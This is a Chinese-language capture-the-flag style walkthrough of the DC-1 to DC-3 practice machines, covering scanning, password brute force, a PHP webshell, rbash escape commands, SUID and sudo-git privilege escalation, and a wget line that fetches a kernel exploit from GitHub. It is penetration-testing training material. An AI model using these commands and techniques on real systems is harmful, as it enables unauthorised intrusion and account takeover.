前言:
DC类靶机是比较入门的一类靶机,适合没有打过靶机或者经验不丰富的朋友玩,每一个靶机打下来都会get新姿势
下载链接:
http://www.five86.com/
DC-1渗透过程:

nmap全扫存活主机及端口 nmap -sV 192.168.1.1/24

进入靶机80端口的网站,发现是drupal cms,用御剑或者dirb扫描网站目录没有发现有敏感文件,于是使用msf查找该cms有哪些可利用的漏洞

发现2018年那个漏洞可以直接利用,连接成功

进入shell,查看目录发现flag1.txt,打开

提示信息说每个cms都有一个配置文件,于是猜测第二个flag藏在配置文件里面,最后在/var/www/sites/default/settings.php里面找到flag2.txt
查看flag2.txt发现里面有数据库的各种信息

得到信息后连接mysql数据库,发现连接不上,于是暂时搁置换一个思路
linux下有两个存放密码的路径,/etc/passwd和/etc/shadow
二者的详细介绍参考:https://blog.csdn.net/yaofeino1/article/details/54616440
于是查看/etc/passwd

发现有一个flag4用户,于是使用hydra和john the Ripper爆破,hydra是kali自带,只需要下载john the Ripper
下载:wget http://www.openwall.com/john/j/john-1.8.0.tar.gz
解压:tar -xvf john-1.8.0.tar.gz
然后开始爆破ssh,爆破出密码为orange

于是连接ssh,在当前目录找到flag4.txt,查看

大致意思是让我在root目录里面找flag
想到之前有了数据库账号密码,于是在这里登陆一下。之前那个网页不知道账号密码,所以准备在数据库里面修改管理员密码

发现users表,然后查看里面的数据

发现里面的密码是通过某种加密方式加密的,在搜索引擎上面查一下drupal cms怎么在数据库修改密码,在网上找到如下一句话
![](https://xzfile.aliyuncs.c
om/media/upload/picture/20191007115157-cf4595d0-e8b5-1.png)
于是开始修改admin的密码,修改成功

然后登陆得到flag3

这个提示是采用find中的perm(按权限模式查找)来得到下一个flag,根据flag4提示信息进入root知道这里需要suid提权
suid提权详解:https://blog.csdn.net/qq_36119192/article/details/84872644
使用find命令查找所有拥有该权限的文件

查看一下,发现/usr/bin/find是拥有root权限的文件

然后提权

靶机上面装有python环境,所以也可以运行python代码反弹shell提权

最后在root目录找到thefinalflag.txt,游戏结束

DC-2渗透过程:

先扫网段内存活主机,发现192.168.1.41是靶机ip

扫描靶机所有开放的端口

然后访问80端口的服务,这里根据靶机下载页面上面的提示需要设置hosts文件

访问页面是一个wordpess,找到flag1

它提示登录找到下一个flag,也提示了cewl,于是就用cewl爬一波密码出来,保存在根目录

然后用专门针对wordpress的工具wpscan来扫描所有用户名wpscan –url http://dc-2 –enumerate u (这一步可以不做,直接跳下一步)

然后用之前得到的密码来爆破 wpscan –url http://dc-2 -P password.txt 得到jerry和tom的密码

因为我博客用的wordpress,所以知道后台是wp-admin,不知道也可以用dirb扫出来

两个账号都登陆一下,发现jerry里面有flag2,tom里面没有什么重要信息

想到之前扫描端口的时候ssh端口开放着,用这两个账号连一下ssh试试,先试试jerry账号,发现密码不是wordpress的登录密码

再试试tom,发现能登录进去,但是这是rbash限制了很多命令

这里可以使用vi来查看flag3.txt

但是我们的思路肯定是要切换到另外一个用户,里面可能有flag,命令被限制肯定不行

于是我们执行如下命令

1
2
3
4
5
BASH_CMDS[a]=/bin/sh;a//切换shell

export PATH=$PATH:/bin/ /cat等命令存放在这里面

export PATH=$PATH:/usr/bin/ /sudo等命令存放在这里面

然后就可以查看flag3.txt了,因为之前用vi编辑器不小心把flag3.txt里面的内容删了,所以就不截图出来了,里面的意思是切换到jerry用户,于是切换到jerry,密码就是wordpress那个密码

因为切换后还是在tom这个用户的目录,所以没有权限查看,于是切换到jerry目录,找到flag4,里面的意思是让我们用git提权

用sudo -l 查询一下当前的权限

有git权限

git有一个缓冲区溢出漏洞,在使用sudo git -p –help时,不需要输入root密码即可以root权限执行这条命令,于是我们直接在这时候打开bash shell,直接提权至root,在root目录下找到final-flag.txt


DC-3渗透过程:

先老规矩nmap扫描存活主机

再扫描靶机端口

访问一下页面,然后用dirb扫描一下目录得到登录界面administrator,是Joomla建站系统

于是用joolscan扫描一下网站,得到Joomla版本

在sploitsearch中搜索一下有不有现成的漏洞可以利用,发现有一个SQL注入漏洞

查看一下漏洞详细,直接用sqlmap跑,成功

最后在joomladb数据库#__users表里面查看到账号密码

用john暴力破解得到明文密码snoopy

于是登录进后台,发现可以修改网页源代码

于是用weevely生成php后门文件

复制代码新建webshell.php文件,粘贴代码,保存

然后用weevely连,成功拿到shell

查看当前内核版本

在网上搜索了一下,这是Ubuntu 16.04版本

在searchsploit里面搜索一下这个版本有哪些漏洞

发现有个’double-fdput()’ bpf(BPF_PROG_LOAD)提权漏洞,于是查看一下

根据链接下载攻击脚本到tmp目录下

1
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip /tmp

然后一系列解压运行

最后一步

提权失败,网上找了一下,说用-o nonempty可以解决mountpoint报错,然而还是不行,system() failed是什么操作,求助师傅们

小结:
通过这三个靶机学到了针对特定cms的扫描工具wpscan和joomscan,以及cewl、weevely的使用,还有可以爆破密码和hash的john,破解hash还可以使用hashcat,学到了git提权、suid提权以及逃离rbash方法,重中之重是深刻理解了利用searchsploit和msf下的search的作用,作为一个新手,利用现成的漏洞会节约很多的时间,这样效率就会高很多